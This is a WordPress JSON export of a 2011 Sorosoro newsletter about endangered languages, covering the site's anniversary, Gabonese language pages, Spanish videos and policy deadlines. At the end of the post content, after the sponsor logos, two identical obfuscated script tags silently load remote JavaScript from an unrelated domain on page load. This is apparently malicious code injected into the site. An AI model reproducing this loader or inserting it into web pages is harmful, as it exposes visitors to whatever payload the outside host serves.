{"id":58558,"date":"2011-10-07T15:53:51","date_gmt":"2011-10-07T13:53:51","guid":{"rendered":"http:\/\/www.sorosoro.org\/?p=58558"},"modified":"2025-10-21T22:20:08","modified_gmt":"2025-10-21T20:20:08","slug":"sorosoro-october-6-2011","status":"publish","type":"post","link":"https:\/\/www.sorosoro.org\/en\/2011\/10\/sorosoro-october-6-2011\/","title":{"rendered":"Sorosoro &#8211; October 6, 2011 <br\/><br\/> Special Birthday issue<br\/><br\/><br\/>"},"content":{"rendered":"<h5 style=\"text-align: justify;\">www.sorosoro.org is 2!<\/h5>\n<p style=\"text-align: justify;\">Two years ago, on <strong>October 6, 2009<\/strong>, was the launch of our website. Ambitious as it were, at the time it already offered dozens of pages of text, the localization of 5,500 languages on interactive Google maps, a handful of videos&#8230;<\/p>\n<p style=\"text-align: justify;\">Sorosoro.org has gone a long way since: dozens of pages have become hundreds, our video supply is significant, and we\u2019ve created quite a popular blog.<\/p>\n<p style=\"text-align: justify;\">Most of all, our website is available in three language; English, French, and Spanish \u2013 thanks to which we\u2019ve been able to reach a growing number of users, and surprisingly realize that our biggest pool&#8230; is in Latin America, with the <strong>Mexican<\/strong> on the lead! We\u2019re both delighted and grateful for such keenness!<\/p>\n<p style=\"text-align: justify;\"><strong>Blog<\/strong><\/p>\n<p style=\"text-align: justify;\">On this anniversary, linguists <strong>Colette Grinevald<\/strong> and <strong>James Costa<\/strong> trace back the history of their discipline in endangered languages, the <strong>ideological confrontations<\/strong> and debates around the role of linguists: engage towards the populations, or carefully remain aside&#8230; A captivating article.<\/p>\n<p style=\"text-align: justify;\"><a href=\"http:\/\/blog.sorosoro.org\/en\/being-a-linguist-from-documentation-to-commitment\">Read blog<\/a><\/p>\n<p style=\"text-align: justify;\"><strong>Soropedia<\/strong><\/p>\n<p style=\"text-align: justify;\">Once again Sorosoro turns to the languages of Gabon, where a few of our teams went filming in the beginning of 2009. Visit our description sheets on <a href=\"https:\/\/www.sorosoro.org\/en\/mpongwe\"><strong>Mpongwe<\/strong><\/a> (Myene), <a href=\"https:\/\/www.sorosoro.org\/en\/benga\"><strong>Benga<\/strong><\/a>, <a href=\"https:\/\/www.sorosoro.org\/en\/bekwel\"><strong>Bekwel<\/strong><\/a>, <a href=\"https:\/\/www.sorosoro.org\/en\/akele\"><strong>Akele<\/strong><\/a>, <a href=\"https:\/\/www.sorosoro.org\/en\/geviya\"><strong>Geviya<\/strong><\/a>, <a href=\"https:\/\/www.sorosoro.org\/en\/punu\"><strong>Punu<\/strong><\/a>, and <a href=\"https:\/\/www.sorosoro.org\/en\/baka\"><strong>Baka<\/strong><\/a>.<\/p>\n<p style=\"text-align: justify;\"><strong>Videos in Spanish<\/strong><\/p>\n<p style=\"text-align: justify;\">Still in Gabon, speakers of Spanish will find three <a href=\"http:\/\/www.sorosoro.org\/es\/video-de-la-lengua-mpongwe-gabon\">videos on <strong>Mpongwe<\/strong><\/a>, the first language we ever filmed: two interviews on the decline of Mpongwe, one by Henriette and one by Kialla, as well as the days of the week, also in this language at times referred to as <strong>Myene<\/strong>.<\/p>\n<p style=\"text-align: justify;\"><strong>News<\/strong><\/p>\n<p style=\"text-align: justify;\"><em>Le Monde<\/em> and <em>La Vie<\/em> publish an <strong>Atlas of the Minorities <\/strong>this Thursday, October 6: over 200 articles, 200 maps, an extensive exploration of the subject over the 5 continents&#8230;<\/p>\n<p style=\"text-align: justify;\"><a href=\"https:\/\/www.sorosoro.org\/en\/october-6-2011-atlas-of-the-minorities-france\">Read article<\/a><\/p>\n<p style=\"text-align: justify;\"><strong>Word of the fortnight<\/strong><\/p>\n<p style=\"text-align: justify;\">Get set&#8230; We\u2019re hoping to receive numerous translations of the word <a href=\"https:\/\/www.sorosoro.org\/en\/birthday\"><strong>BIRTHDAY<\/strong><\/a>, in all your different languages. The best record yet goes to the phrase LET\u2019S GO! with 170 answers at the time&#8230; Go!<\/p>\n<p style=\"text-align: justify;\">\n<h5 style=\"text-align: justify;\">A few other dates to add<\/h5>\n<p style=\"text-align: justify;\"><strong>October 17, 2011<\/strong>: <strong>Endangered Languages Fund<\/strong> application deadline for projects on Amer-Indian languages.<\/p>\n<p style=\"text-align: justify;\"><a href=\"https:\/\/www.sorosoro.org\/en\/october-17-2011-endangered-language-fund-project-application-deadline\">Read article<\/a><\/p>\n<p style=\"text-align: justify;\"><strong>October 21, 2011<\/strong>: <strong>Australian government<\/strong>\u2019s National Cultural Policy survey participation deadline.<\/p>\n<p style=\"text-align: justify;\"><a href=\"https:\/\/www.sorosoro.org\/en\/october-21-2011-national-cultural-policy-discussion-paper-consulation-deadline-australia\">Read article<\/a><\/p>\n<p style=\"text-align: justify;\">\n<h5 style=\"text-align: justify;\">And info on the French elections&#8230;<\/h5>\n<p style=\"text-align: justify;\"><strong>October 6, 2011<\/strong>: Presidential candidate <strong>Martine Aubry<\/strong> declares herself in favor of regional languages and having their teaching made compulsory!<\/p>\n<p style=\"text-align: justify;\"><a href=\"https:\/\/www.sorosoro.org\/en\/october-4-2011-french-presidential-candidate-martine-aubry-speaks-on-regional-languages\">Read article<\/a><\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: center;\">Supported by<\/p>\n<p style=\"text-align: center;\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone\" title=\"LogoFondationChirac\" src=\"..\/wp-content\/uploads\/LogoFondationChirac2-280x300.jpg\" alt=\"LogoFondationChirac\" width=\"75\" height=\"82\" \/><img loading=\"lazy\" decoding=\"async\" class=\"size-full wp-image-56768 alignnone\" title=\"logo_FondationOrange-en\" src=\"http:\/\/www.sorosoro.org\/wp-content\/uploads\/logo_FondationOrange-en.jpg\" alt=\"logo_FondationOrange-en\" width=\"168\" height=\"61\" \/><\/p>\n<p><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>www.sorosoro.org is 2! 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